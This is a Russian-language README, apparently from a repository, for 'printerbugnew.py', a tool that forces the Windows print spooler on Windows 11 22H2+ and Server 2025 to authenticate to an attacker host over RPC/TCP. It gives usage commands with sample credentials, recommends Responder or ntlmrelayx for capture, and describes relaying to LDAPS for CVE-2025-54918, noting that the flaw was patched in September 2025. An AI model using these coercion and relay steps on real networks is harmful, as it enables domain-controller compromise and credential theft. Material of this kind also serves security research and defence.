Чистый триггер очереди печати через RPC по TCP

Для Windows 11 22H2+ / Windows Server 2025

Использование

printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]

Примеры

Анонимное подключение

printerbugnew.py 192.168.1.100

С учетными данными

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN

Триггер обратного подключения к другому хосту (атакующему)

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50

Использование конкретного порта RPC

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

Примечания

Цель должна быть Windows 11 22H2+ или Server 2025 (RPC через TCP по умолчанию)
Для старых версий spoolss использует RPC через Named Pipes (SMB)
Убедитесь, что порты 135 и динамические порты RPC (49152-65535) открыты
Запустите Responder или ntlmrelayx на attacker_host для захвата аутентификации
Kerberos в этом случае не работает из-за неправильного SPN от спулера, что заставляет использовать NTLM.
Найдите порт RPC/TCP целевого спулера, запросив Endpoint Mapper (EPM) на TCP/135 по UUID интерфейса 12345678-1234-abcd-ef00-0123456789ab. Вы можете использовать rpcdump.py, PortQry или любой другой инструмент — или просто реализовать поиск EPM прямо в этом коде ;)
Основано на https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

Обновление для CVE-2025-54918

Этот эксплойт через отражение работает только на W2025 с «новым» printerbug (DCERPC вместо Named Pipes). Вам потребуется изменить ntlmrelayx в нескольких местах, чтобы он заработал. После этого вы сможете удаленно вызвать ошибку принтера на контроллере домена W2025 и отразить аутентификацию через LDAPS(!), даже если Channel Bindings ТРЕБУЕТСЯ

ldaprelayclient.py:

rpcrelayserver.py

и релей ;)

Уязвимость была исправлена в Patch Tuesday сентября 2025: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918

Исправление гарантирует, что MIC всегда вычисляется, даже если сообщение Type 3 пусто.

Спасибо автору этого CVE за ценный совет :)

printerbugnew

Популярное